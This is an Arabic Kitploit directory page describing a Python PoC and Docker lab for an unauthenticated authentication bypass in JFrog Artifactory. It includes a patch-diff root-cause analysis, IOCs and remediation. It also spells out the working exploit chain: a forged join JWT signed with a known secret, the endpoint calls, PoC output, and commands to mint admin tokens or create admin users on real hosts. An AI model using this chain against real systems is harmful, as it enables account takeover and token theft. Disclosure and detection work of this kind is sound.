Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
cve-2026-82329-jfrog-artifactory — مختبر Docker قابل لإعادة الإنتاج وPoC بلغة Python لـ CVE-2026-82329، وهو تجاوز مصادقة غير مصادق عليه في JFrog Artifactory يؤدي إلى الاستيلاء على صلاحيات المسؤول، مع تحليل فرق التصحيح وإرشادات الكشف. | Kitploit
أدوات/GitHubGitHub/dinosn/cve-2026-82329-jfrog-artifactory
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأمن السحابةالمصادقةالأوراق والأبحاثمختبرات وتدريب عملي
GitHub
dinosn/cve-2026-82329-jfrog-artifactory

cve-2026-82329-jfrog-artifactory

مختبر Docker قابل لإعادة الإنتاج وPoC بلغة Python لـ CVE-2026-82329، وهو تجاوز مصادقة غير مصادق عليه في JFrog Artifactory يؤدي إلى الاستيلاء على صلاحيات المسؤول، مع تحليل فرق التصحيح وإرشادات الكشف.

عرض المستودع
11منذ 14س 29دلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-82329 — تجاوز المصادقة غير المُصادق عليه في JFrog Artifactory → الاستيلاء على حساب المسؤول

CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) · CWE-287 · تم الكشف عنه في 2026-08-28 · تم استغلاله في البرية.

يمكن لمهاجم غير مُصادق عليه وقريب من الشبكة سكّ رمز وصول لمسؤول المنصة ضد تثبيت افتراضي ذاتي الاستضافة لـ JFrog Artifactory. يحتوي هذا الدليل على مختبر Docker قابل لإعادة الإنتاج وPoC للتحقق معرّف بمعاملات URL.

تم إعادة الإنتاج والتحقق A/B على artifactory-oss 7.161.19 (قابل للاستغلال، JFrog Access 7.191.11) مقابل 7.161.20 (مُصحَّح، JFrog Access 7.191.14).

السبب الجذري اشتُق من التصحيح الرسمي للبائع نفسه (مقارنة البايت كود لخدمة JFrog Access مغلقة المصدر بين صورتي الحاويتين)، ثم تم إثباته مباشرة — ولم يُؤخذ من أي تقرير خارجي.


سلسلة الاستغلال باختصار (كلها بدون مصادقة)

  1. تزوير JWT "انضمام" للعنقود. تتحقق JFrog Access من JWTs الانضمام باستخدام مفتاح الانضمام للمنصة كسر HMAC. خطأ يترك مفتاح انضمام فارغًا في مجموعة المُتحقِّقات الموثوقة على تثبيت افتراضي. getSigningKey("") = pkcs7(<فارغ>, 32) = — سر معروف تمامًا. لذا يمكن لأي شخص توقيع JWT انضمام صالح (, , حديث، أي , ).
32 بايت من 0x20
alg=HS256
kid = SHA256("")
iat
service_id
skip_node_registration=true
  • POST /access/api/v1/registry/join (RegistryNoAuthResource — بدون مصادقة) → HTTP 201، يُرجع رمز SERVICE بنطاق admin (الجمهور = Access).
  • POST /access/api/v1/tokens بهذا الرمز، scope=applied-permissions/admin&audience=* → رمز وصول كامل لمسؤول المنصة (هذا هو سلوك "سكّ رموز المسؤول" المُبلَّغ عنه في البرية).
  • استخدمه — اقرأ إعدادات الخادم بالكامل، اعرض/اسرق كل رموز الوصول، وعلى Pro/Enterprise أنشئ مستخدمين مسؤولين ومستودعات، إلخ.
  • root@kitploit:~
    $ python3 poc/cve_2026_82329_poc.py http://TARGET:8082
    [+] الخطوة 1  /registry/join           -> HTTP 201  تم سكّ رمز SERVICE (scp=admin)
    [+] الخطوة 2  /access/api/v1/tokens    -> HTTP 200  رمز ADMIN (scp=applied-permissions/admin, aud=*)
    [+] الخطوة 3  إثبات صلاحية المسؤول:
          GET /artifactory/api/system/configuration -> HTTP 200 (18284 بايت، للمسؤول فقط؛ بدون مصادقة=401)
          GET /access/api/v1/tokens (عرض كل الرموز) -> HTTP 200 (للمسؤول فقط)
    [=] قابل للاستغلال - حصل مهاجم غير مُصادق عليه على ADMIN على هذا المثيل (CVE-2026-82329).
    

    السبب الجذري (من مقارنة التصحيح)

    غيّرت JFrog Access 7.191.11 → 7.191.14 12 فئة بالضبط. الفئات ذات الصلة بالأمان:

    1. مفتاح انضمام فارغ يُوثق بصمت — JoinKeyAccess.tryResolveJoinKeys()

    root@kitploit:~
    // قابل للاستغلال (7.191.11)
    Arrays.stream(joinKey.get().split(",")).map(String::trim).forEach(jKey -> {
        JoinKeyHashPair hashPair = new JoinKeyHashPair(jKey);            // jKey == "" مسموح به
        joinKeyListValuesForContext.put(hashPair.getHash(), hashPair);   // يُضاف المفتاح الفارغ إلى المجموعة الموثوقة
        log.warn("Adding join key with kid: {} to additional join keys", hashPair.getHash());
    });
    
    // مُصحَّح (7.191.14)  -> تُصفى الإدخالات الفارغة
    Arrays.stream(joinKey.get().split(",")).map(String::trim)
          .filter(Strings::isNotBlank)
          .forEach(...);
    

    مع عدم تكوين مفاتيح انضمام إضافية (الوضع الافتراضي)، تكون قيمة الإعداد ""؛ "".split(",") يُنتج [""]، لذا يدخل JoinKeyHashPair فارغ (kid = SHA256("") = e3b0c442…b855) إلى خريطة "مفاتيح الانضمام الإضافية" الموثوقة. كما تم تقوية JoinKeyHashPair لرفض القيم الفارغة/الخالية في المُنشئ.

    تم التأكيد على المثيل الافتراضي المباشر — سجل بدء تشغيل الخادم:

    root@kitploit:~
    o.j.a.s.s.JoinKeyAccess - Adding join key with kid:
        e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 to additional join keys
    

    هذا الـ kid هو بالضبط SHA256("").

    2. مفتاح الانضمام الفارغ هو سر HMAC معروف — JoinKeyUtils.getSigningKey()

    root@kitploit:~
    public static byte[] getSigningKey(String hexEncodedKey) { return hexDecodeAndPad(hexEncodedKey, 32); }
    // حشو pkcs7 لمفتاح فارغ: padLength = 32  ->  32 بايت، كل منها == (byte)32 == 0x20
    

    لذا فإن JWT الانضمام للمفتاح الفارغ مُوقَّع بـ HS256 عبر 32 بايت من 0x20 — معروف للمهاجم.

    3. نقطة نهاية الانضمام غير المُصادق عليها تسكّ رمز مسؤول

    RegistryNoAuthResource (@Path("/v1/registry"), بدون @Authorized):

    root@kitploit:~
    @POST @Path("join")
    public Response join(String jwtStr) {                    // body = JWT الخام
        JwtToken token = this.joinService.join(jwtStr, ...); // يتحقق: iat حديث (<30ث) + توقيع مفتاح الانضمام
        return Response.status(CREATED).entity(new JoinResponseModel(token.getTokenValue())).build();
    }
    

    JoinServiceImpl → ServiceTokenProviderImpl.getToken():

    root@kitploit:~
    TokenSpec tokenSpec = TokenSpec.create().audience(accessServiceId)
        .subject(serviceId).owner(serviceId).scope("admin").expiresIn(0L).refreshable(false);
    return tokenService.createInternalTokenWithoutAuthAndNotify(tokenSpec).getAccessToken();
    

    رمز وصول غير منتهي الصلاحية، بنطاق مسؤول، مُوقَّع بـ RSA. يُسمح لرمز الخدمة بنطاق scope("admin") بسكّ رمز مستخدم كامل applied-permissions/admin عبر POST /access/api/v1/tokens.

    4. تقوية مؤكدة — ProjectResource

    انتقلت نقطتا نهاية من @Authorized(AuthorizationType.SERVICE) → @Authorized(AuthorizationType.ADMIN) (GET/DELETE {projectKey}/resources)، مما يؤكد أن بدائية الاستغلال هي هوية SERVICE مُزوَّرة وأن السطح المُصرَّح به لـ SERVICE كان مكشوفًا بشكل مفرط.


    الإصدارات المتأثرة / المُصحَّحة

    ذاتية الاستضافة فقط (السحابة مُصحَّحة بالفعل). القابل للاستغلال ≤ آخر إصدار في كل فرع أدناه؛ قم بالترقية إلى الإصلاح المقترن:

    الفرعالقابل للاستغلال ≤المُصحَّح
    7.1117.111.207.111.21
    7.1177.117.277.117.28
    7.1257.125.197.125.20
    7.1337.133.287.133.29
    7.1467.146.377.146.38
    7.1617.161.197.161.20

    يأتي الإصلاح مع JFrog Access 7.191.14.


    إعادة الإنتاج (المختبر)

    انظر lab/README.md. باختصار:

    root@kitploit:~
    cd lab
    ART_VER=7.161.19 docker compose up -d          # قابل للاستغلال (افتراضي)؛ انتظر ~3-4 دقائق
    until curl -sf http://localhost:8082/access/api/v1/system/ping >/dev/null; do sleep 5; done
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> قابل للاستغلال
    
    docker compose down
    ART_VER=7.161.20 docker compose up -d          # مجموعة تحكم مُصحَّحة
    python3 ../poc/cve_2026_82329_poc.py http://localhost:8082      # -> غير قابل للاستغلال (join HTTP 400)
    

    يتطلب Artifactory 7.161.x PostgreSQL (ترفض خدمة Access الخاصة به Derby المدمجة)، لذا يتضمن المختبر حاوية جانبية postgres.


    التحقق من هدف حقيقي

    root@kitploit:~
    python3 poc/cve_2026_82329_poc.py http://<artifactory-host>:8082
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --create-admin evil:P@ssw0rd1   # تغيير حالة Pro/Ent
    python3 poc/cve_2026_82329_poc.py http://<host>:8082 --token-only                     # طباعة رمز مسؤول
    

    وجّهه إلى أي شيء يقدّم واجهة أمامية لـ JFrog Router (/access/… قابل للوصول). يُبلغ عن قابل للاستغلال (تم الحصول على ADMIN) أو غير قابل للاستغلال (تم رفض الانضمام). شغّله فقط ضد أنظمة مُصرَّح لك باختبارها.


    الكشف / مؤشرات الاختراق (IOCs)

    • سجل طلبات Access: POST /access/api/v1/registry/join من مضيفات غير تابعة للعنقود، خاصةً متبوعًا فورًا بـ POST /access/api/v1/tokens.
    • سجل خدمة Access: السطر Adding join key with kid: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 … يعني أن مفتاح الانضمام الفارغ موثوق (موجود على الإعدادات الافتراضية غير المُصحَّحة).
    • تدقيق Access / مخزن الرموز: رموز غير متوقعة غير منتهية الصلاحية بنطاق scope=applied-permissions/admin، أو audience=*، أو رموز مسؤول بموضوع خدمة (sub=<svc>, scp=admin, aud=<access-id>).
    • JWTs انضمام يكون فيها ادعاء kid مساويًا لـ SHA256("") (e3b0c442…b855).

    المعالجة

    قم بالترقية إلى الإصدار المُصحَّح لفرعك (الجدول أعلاه). بالإضافة إلى ذلك: ضع Artifactory خلف وكيل عكسي لا يعرض /access/api/v1/registry/** للشبكات غير الموثوقة، وقم بتدوير مفتاح الانضمام وإبطال رموز المسؤول غير المتوقعة بعد التصحيح.


    الملفات في هذا الدليل: poc/ (أداة التحقق)، lab/ (مختبر Docker)، analysis/ (مقارنات التصحيح + الأدلة المُفككة)، EVIDENCE.md (مخرجات التشغيل الملتقطة). لأغراض البحث الأمني المُصرَّح به فقط.

    تنزيل الأداة